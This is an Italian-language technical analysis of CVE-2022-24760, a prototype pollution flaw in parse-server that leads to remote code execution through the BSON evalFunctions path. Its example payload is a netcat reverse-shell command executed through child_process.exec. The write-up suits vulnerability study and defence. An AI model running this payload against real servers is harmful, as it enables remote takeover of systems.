CVE-2022-24760

CVE-2022-24760

Flusso

• Di default non è necessaria una chiave per aggiungere, eliminare o modificare le classi nel db

Diff del commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

• La prototype pollution avviene nella funzione expandResultOnKeyPath

DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath

• sanitizeDatabaseResult viene usato quando si aggiunge (add) o si aggiorna (update) una nuova classe. Tuttavia, perché la prototype pollution sia possibile, deve essere soddisfatta la condizione che la keyUpdate __op appartenga a ['Add', 'AddUnique', 'Remove', 'Increment']

• Pertanto, i valori del prototipo possono essere solo array o number

  • 
  • 

• Esempio di richiesta:

Sink exploit per RCE

• Prima di salvare i dati nel DB, il flusso di dati viene passato attraverso serialize della libreria BSON; quando _bsontype è Code, viene eseguito serializeCode

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

• Successivamente, i dati vengono deserializzati per essere manipolati fino a raggiungere il sink:

• Si usa la prototype pollution per inquinare options['evalFunctions'] -> bypass fino alla funzione isolateEval
• Payload di esempio

"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"

• Poiché il flusso di esecuzione della funzione expandResultOnKeyPath arriva dopo la deserializzazione, è necessario eseguire ripetutamente la race condition affinché possa essere innescata quando si arriva a isolateEval